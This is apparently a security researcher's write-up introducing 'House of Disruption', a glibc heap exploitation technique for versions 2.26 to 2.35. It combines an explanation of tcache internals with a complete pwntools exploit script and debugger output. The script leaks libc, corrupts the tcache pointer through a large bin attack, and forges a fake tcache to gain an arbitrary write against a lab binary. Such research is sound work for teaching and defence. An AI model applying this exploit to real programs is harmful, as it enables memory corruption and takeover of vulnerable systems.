House of Disruption

In this article I will describe a new powerful heap house I crafted which is applicable from glibc versions 2.26 until 2.35 (latest at the moment of writing this article) with the tcache enabled. It's a pretty simple House but quite powerful with what you can do with it!

The main idea behind house of disruption is: by performing a simple large bin attack (which until 2.35 is unpatched) against the tcache pointer, we can fool glibc into thinking that the tcache is located somewhere else on the heap. By crafting a fake tcache inside the large bin which the tcache pointer is pointing to after the large bin attack, we can easily make malloc to return arbitrary chunks.

The only requirements for the house of disruption is a libc leak which we need inorder to locate the tcache pointer in memory and the ability to perform a large bin attack. Quite minimalistic isn't it?

Dive into malloc internals

For the house of disruption actually we just need to understand how tcache returns free tcache chunks back to the program.

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = 0;
  return (void *) e;
}

And this is actually pretty interesting. When you ask from ptmalloc2 a chunk in the tcache range (from 0x0 to 0x410 bytes), ptmalloc2 will try to see if there is an available free tcache chunk. If it finds one it will call tcache_get to fetch it from the tcache and will return it back to the program.

The most important thing you have to consider is how ptmalloc2 locates the tcache on the heap. And as you can see above it uses a global variable named tcache. This variable will be our target for our large bin attack later.

static __thread tcache_perthread_struct *tcache = NULL;

tcache is a per thread global variable and hence it is stored in the thread local storage of each thread. But for our single threaded program you can see it as a simple global variable which is writable.

Because ptmalloc2 blindly trusts this tcache pointer, if you are able to modify him to point to a place which you control, by crafting a fake tcache in that place you will be able eventually to make ptmalloc2 to return arbitrary chunks back to the program!

In our PoC the only place we can craft a fake tcache is on the heap and so we will perform a large bin attack to put a heap address into the tcache pointer.

Proof of Concept

For a proof of concept I will use the same testbed I used for another House that I made. You can find it here. If you remove the theme it's actually a simple testbed. In that testbed you have the ability to allocate chunks with a max size of 0x1000 bytes and you can free them if you wish. The bug in my testbed is a heap overflow of 40 bytes.

Exploit for House of disruption.

from pwn import *

elf = context.binary = ELF('house_of_disruption_patched', checksec = False)
libc = ELF('libc.so.6', checksec = False)

def start():
    if args.GDB:
        return gdb.debug(elf.path)
    else:
        return process(elf.path)

free_positions = [0,]*8

def select_option(option):
    io.sendlineafter(b'> ', str(option).encode())

def adjust_size(chunk_size): # copy pasted from HeapLABs ;)
    return (chunk_size & ~0x0f) - 8

def lock_position():
    for i in range(8):
        if free_positions[i] == 0:
            free_positions[i] = 1
            return i
    return -1

def unlock_position(pos):
    free_positions[pos] = 0
    
def malloc(size, contents):
    select_option(option = 1)
    io.sendlineafter(b'> ', hex(adjust_size(size)).encode())
    io.sendlineafter(b'> ', contents)
    return lock_position()

def free(index):
    select_option(option = 2)
    io.sendlineafter(b': ', str(index).encode())
    unlock_position(index)
    
def largebin_offset(address):
    return address - 0x20

def largebin_attack(target, fake_tcache_contents):
    largebin_target = largebin_offset(target)
    
    chunk_A = malloc(size = 0x820, contents=fake_tcache_contents) # after our large bin attack our new tcache will be here.
    chunk_B = malloc(size=0x70, contents=b'useful chunk') # this will take a guard chunk role also.
    chunk_C = malloc(size = 0x830, contents=b'Overflow me I will give you arbitrary chunks of many sizes!')
    chunk_guard = malloc(size = 0x40, contents=b'guard chunk')
    
    # Initiate our large bin attack.
    free(chunk_C) # free the biggest large chunk.
    
    # currently chunk 0x830 is linked in unsortedbin list, let's sort it to large bin list.
    sorter_chunk = malloc(size=0x840, contents=b'blah blah')
    free(chunk_A) # free the smallest large chunk.
    
    free(chunk_B) # we free this chunk inorder to overflow to chunk_C and hijack bk_nextsize pointer.
    
    chunk_B = malloc(size=0x70, contents=b'A'*0x60 + p64(0x0) + p64(0x830) + p64(0x0) + p64(0x0) + p64(0x0) + p64(largebin_target))
    # because we are sending also a newline we have to discard some output. Newline issues -.-
    io.recvuntil(b'Sorry you are not allowed to leave, you are my slave.\n')
    
    sorter_chunk = malloc(size=0x840, contents=b'blah blah') # now tcache must point back to our chunk_A!

def house_of_disruption():
    tcache_ref = libc.address - 0x2908
    
    # I will choose default_overflow_region as my target, you can choose any targets you like. Try to get a shell if you can ;)
    '''
        2a6:1530│       0x7faddbc4a530 (program_invocation_short_name) —▸ 0x7fff07c5ee08 ◂— 'house_of_disruption_patched'
        2a7:1538│       0x7faddbc4a538 (program_invocation_name) —▸ 0x7fff07c5eded ◂— '/home/un1c0rn/house_of_disruption/house_of_disruption_patched'
        2a8:1540│       0x7faddbc4a540 (default_overflow_region) ◂— 0x0
        2a9:1548│       0x7faddbc4a548 (default_overflow_region+8) ◂— 0x1
        2aa:1550│       0x7faddbc4a550 (default_overflow_region+16) ◂— 0x2
    '''
    
    target = libc.sym.default_overflow_region  # any target we like but we need it to be aligned to avoid tcache_get unaligned tcache mitigation!
    contents = p64(0xdeadbeef) + p64(0xcafebabe) + p64(0xbadc0de)

    # After our large bin attack our small large bin which now is our tcache will look like this:
    '''
        0x55ed6a059290:	0x0000000000000000	0x0000000000000821
        0x55ed6a0592a0:	0x00007f9ce80d41d0	0x000055ed6a059b20
        0x55ed6a0592b0:	0x000055ed6a059b20	0x00007f9ce7ede6d8
        0x55ed6a0592c0:	0x00000000deadbeef	0x00000000deadbeef
        0x55ed6a0592d0:	0x00000000deadbeef	0x00000000deadbeef
        0x55ed6a0592e0:	0x00000000deadbeef	0x00000000deadbeef
        0x55ed6a0592f0:	0x00000000deadbeef	0x00000000deadbeef
        0x55ed6a059300:	0x00000000deadbeef	0x00000000deadbeef
        0x55ed6a059310:	0x00000000deadbeef	0x00000000deadbeef
        0x55ed6a059320:	0x00000000deadbeef	0x00000000deadbeef
        0x55ed6a059330:	0x00000000deadbeef	0x00000000deadbeef
    '''
    
    # Our new tcache will start from 0x55ed6a059290.
    # So we can not control the first 6 qwords. (Except if we perform another heap overflow from an above crafted chunk or with a write after free). But it doesn't matter the top of the tcache is allocated for the counts.
    # Filling our small large bin with a special crafted fake tcache we can supply fake tcache bins and allocate whatever we want!
    
    '''
/* offset      |    size */  type = struct tcache_perthread_struct {
/* 0x0000      |  0x0080 */    uint16_t counts[64];
/* 0x0080      |  0x0200 */    tcache_entry *entries[64];

                            /* total size (bytes):  640 */
                            }
    '''
    
    fake_tcache_counts = p64(0)*4 + p64(0xffffffffffffffff)*10 # first 4 qwords are used for fd/bk/bk_nextsize/fd_nextsize and after our large bin attack whatever we place there will be overwritten
    fake_tcache_bins   = p64(target - 0x10)*0x80 # spray our target because I'm lazy to calculate simple stuff.
    
    fake_tcache = fake_tcache_counts + fake_tcache_bins
    
    largebin_attack(tcache_ref, fake_tcache)
    malloc(size = 0xe0, contents=p64(0x0)*2 + contents) # allocate our target and overwrite it with our contents :)
    
    success(f'See the contents of your target in the debugger ;)')
    success(f'Quick reminder your selected target was: 0x{target:02x}')
    
io = start()

io.recvuntil(b'@ The ASLR god gifted you a present for your adventure: ') # skip blah blah
puts_leak = int(io.recvline(keepends = False), base = 16)
success(f'puts @ 0x{puts_leak:02x}')

libc.address = puts_leak - libc.sym.puts
success(f'libc @ 0x{libc.address:02x}')

house_of_disruption()

io.interactive()

Result:

$ python3 exploit.py GDB
[+] puts @ 0x7ffbf8091e80
[+] libc @ 0x7ffbf8018000
[+] See the contents of your target in the debugger ;)
[+] Quick reminder your selected target was: 0x7ffbf820b540
[*] Switching to interactive mode

Press 1 to add a new pwnie land
Press 2 to burn your pwnie land
> $  
pwndbg> tel 0x7ffbf820b540
00:00000x7ffbf820b540 (default_overflow_region) ◂— 0xdeadbeef
01:00080x7ffbf820b548 (default_overflow_region+8) ◂— 0xcafebabe
02:00100x7ffbf820b550 (default_overflow_region+16) ◂— 0xbadc0de
03:00180x7ffbf820b558 (default_overflow_region+24) —▸ 0x7ffbf821000a (__pthread_keys+10314) ◂— 0x0
04:00200x7ffbf820b560 (default_overflow_region+32) ◂— 0x0
05:00280x7ffbf820b568 (default_overflow_region+40) ◂— 0xffffffffffffffff